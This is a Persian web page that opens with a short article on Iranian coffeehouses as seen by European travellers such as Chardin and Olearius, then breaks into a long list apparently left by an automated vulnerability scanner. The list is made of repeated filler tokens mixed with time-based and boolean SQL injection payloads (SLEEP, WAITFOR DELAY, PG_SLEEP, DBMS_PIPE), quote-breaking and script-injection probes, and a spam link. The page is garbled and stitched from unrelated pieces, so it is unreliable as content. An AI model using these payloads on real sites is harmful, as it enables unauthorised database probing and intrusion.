قهوه خانه های ایرانی درنگاه گیتی نوردان اروپایی "1"

[bernabea]

قهوه خانه ها، محلی برای تجمع کارگران و بساط افکندن دوره گردانی بود که با فروش کالای خود روزگار می گذراندند

با ورود گیتی نوردان اروپایی بویژه از روزگار صفویان به این سو و توجه آنان به زندگی مردمان ایرانی ، اطلاعاتی از چگونگی گذران زندگی آنان در سفر نامه های گیتی نوردان اروپایی جای گرفت . این اطلاعات ارزشمند می تواند روشنگر بخشی از تاریخ اجتماعی ایران باشد .

از دیر باز ، قهوه خانه ها در شمار نهاد های اجتماعی و فرهنگی تاثیر گذاری بودند که در ادامه فعالیت های خود به جایگاهی ثابت برای اجرای نمایش های سنتی ، مذهبی ایرانی و برخی خرده نمایش ها تبدیل شدند . به تعبیر دهخدا، واژه قهوه خانه مرکب از دو کلمه قهوه و خانه است و به مکانی گفته می شود که در آن قهوه و بعدها چای تهیه و نوشیده می شد . این واژه در فرهنگ معین چنین تعریف شده است : " جایی که قهوه و چای دم کنند و فروشند " . واژه مذکور در فرهنگ لغت آکسفورد معادل کافی شاپ بوده و به رستورانی کوچک که مردم برای صحبت ، نوشیدن قهوه، چای و خوردن غذاهایی همچون دیزی می روند ، توصیف شده است . از این رو با تکیه بر اسناد . مدارک و کتاب های تاریخی مربوط به سیاحان خارجی می توان قهوه خانه ها را از آغاز پیدایش تاکنون بر اساس کار و وضیفه به شش گروه تقسیم کرد.



1- قهوه خانه های کوچک و بازار : شاردن، سیاح فرانسوی در دوره های شاه عباس دوم صفوی و شاه سلیمان صفوی سه بار به ایران سفر کرده است . او از قهوه خانه های کوچه و بازار یاد می کند که به نظر می رسد همانند اکثر فضاهای فرهنگی و اجتماعی در یک شهر مانند مسجد جامع، مدارس علمیه ، خانقاه ها و زور خانه ها ، اولین قهوه خانه ها هم کنار بازار ها و بازارچه ها شکل گرفته اند و بعدها هر کدام از این قهوه خانه ها به عنوان پاتوق هایی برای مشاغل و گروه های خاصی در آمد و حتی مشتری های ثابتی داشتند . همچنین این نوع قهوه خانه ها جزو اولین مکان های اجرای نمایش های سنتی و مذهبی بودند.

2- قهوه خانه های خصوصی (ابدار خانه ها) : آدم اولنار یوس ،سیاح آلمانی که در زمان شاه صفی به ایران آمده است . از قهوه خانه ها ی خصوصی ( آبدار خانه ها) یاد می کند که قهوه خانه هایی بودند که اشخاص از مهمانان خود با چای ، قهوه و در خانه خود پذیرایی می کردند.
(ادامه دارد...)

سلام جهان!:

- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV;(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV)));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV);(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV";(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV"));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV");(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV%';(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV')));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV'));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV');(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV';(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))HvjV)#
- lJqV;SELECT/**/SLEEP(5)#/**/JVBc
- lJqV;SELECT/**/SLEEP(5)--/**/TyQW
- lJqV;SELECT/**/SLEEP(5)
- lJqV)));SELECT/**/SLEEP(5)/**/AND/**/(((7975/**/BETWEEN/**/7975/**/AND/**/7975
- lJqV));SELECT/**/SLEEP(5)/**/AND/**/((1016/**/BETWEEN/**/1016/**/AND/**/1016
- lJqV);SELECT/**/SLEEP(5)/**/AND/**/(1153/**/BETWEEN/**/1153/**/AND/**/1153
- lJqV);SELECT/**/SLEEP(5)--/**/SvHu
- lJqV';SELECT/**/SLEEP(5)/**/OR/**/'RYGv'='xHfm
- lJqV";SELECT/**/SLEEP(5)/**/AND/**/"VFDa"/**/LIKE/**/"VFDa
- lJqV");SELECT/**/SLEEP(5)/**/AND/**/("UZRE"/**/LIKE/**/"UZRE
- lJqV";SELECT/**/SLEEP(5)/**/AND/**/"ZqVZ"="ZqVZ
- lJqV"));SELECT/**/SLEEP(5)/**/AND/**/(("BVeO"="BVeO
- lJqV");SELECT/**/SLEEP(5)/**/AND/**/("GrcP"="GrcP
- lJqV';SELECT/**/SLEEP(5)/**/AND/**/'ZyXb'/**/LIKE/**/'ZyXb
- lJqV%';SELECT/**/SLEEP(5)/**/AND/**/'llqO%'='llqO
- lJqV'));SELECT/**/SLEEP(5)/**/AND/**/(('zwdG'/**/LIKE/**/'zwdG
- lJqV');SELECT/**/SLEEP(5)/**/AND/**/('WUfq'/**/LIKE/**/'WUfq
- lJqV';SELECT/**/SLEEP(5)/**/AND/**/'vOEp'='vOEp
- lJqV')));SELECT/**/SLEEP(5)/**/AND/**/((('LIhq'='LIhq
- lJqV'));SELECT/**/SLEEP(5)/**/AND/**/(('XuOD'='XuOD
- lJqV');SELECT/**/SLEEP(5)/**/AND/**/('uuzW'='uuzW
- lJqV';SELECT/**/SLEEP(5)--/**/rvKF
- lJqV;SELECT/**/SLEEP(5)#
- lJqV)));SELECT/**/SLEEP(5)#
- lJqV));SELECT/**/SLEEP(5)#
- lJqV);SELECT/**/SLEEP(5)#
- lJqV";SELECT/**/SLEEP(5)#
- lJqV"));SELECT/**/SLEEP(5)#
- lJqV");SELECT/**/SLEEP(5)#
- lJqV%';SELECT/**/SLEEP(5)#
- lJqV')));SELECT/**/SLEEP(5)#
- lJqV'));SELECT/**/SLEEP(5)#
- lJqV');SELECT/**/SLEEP(5)#
- lJqV';SELECT/**/SLEEP(5)#
- lJqV
- lJqV'eZLDQh<'">mhqmhR
- lJqV.)(.'..)("
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- lJqV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV;DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV)));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV);DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV";DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV"));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV");DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV%';DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV')));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV'));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV');DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV';DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- AIbV;WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV)));WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV));WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV);WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV";WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV"));WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV");WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV%';WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV')));WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV'));WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV');WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV';WAITFOR/**/DELAY/**/'0:0:5'--
- AIbV
- AIbV'GuNIOd<'">hlooJt
- AIbV..),).",('
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- AIbV
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl;DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl)));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl);DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl";DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl"));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl");DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl%';DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl')));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl'));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl');DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl';DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
- yYhl;WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl)));WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl));WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl);WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl";WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl"));WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl");WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl%';WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl')));WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl'));WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl');WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl';WAITFOR/**/DELAY/**/'0:0:5'--
- yYhl
- yYhl'KuWVCh<'">dCcHQW
- yYhl)".,,,,',)
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- yYhl
- mbzh
- mbzh
- mbzh
- mbzh
- mbzh
- mbzh
- mbzh'KISgYJ<'">Yyyhmu
- mbzh"())).(,,'
- mbzh
- mbzh
- https://marketingaaa.com
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- 20
- @@m2woS
- 1'"
- 20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- 20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- drgTGtoy')) OR 95=(SELECT 95 FROM PG_SLEEP(15))--
- fi8DqYoo') OR 631=(SELECT 631 FROM PG_SLEEP(15))--
- fEdfFJP7' OR 875=(SELECT 875 FROM PG_SLEEP(15))--
- -1)) OR 363=(SELECT 363 FROM PG_SLEEP(15))--
- -5) OR 633=(SELECT 633 FROM PG_SLEEP(15))--
- -5 OR 218=(SELECT 218 FROM PG_SLEEP(15))--
- fFk33ywY'; waitfor delay '0:0:15' --
- 1 waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- -1; waitfor delay '0:0:15' --
- 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
- 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
- if(now()=sysdate(),sleep(15),0)
- -1" OR 2+303-303-1=0+0+0+1 --
- -1' OR 2+128-128-1=0+0+0+1 or 'Xv38reT8'='
- -1' OR 2+377-377-1=0+0+0+1 --
- -1 OR 2+543-543-1=0+0+0+1
- -1 OR 2+898-898-1=0+0+0+1 --
- xmrDnpC7
- 20
- 20
- 20
- 20
- 20
- چگونه پیپ و چوب سیگار خود را تمیز کنیم
- منتخب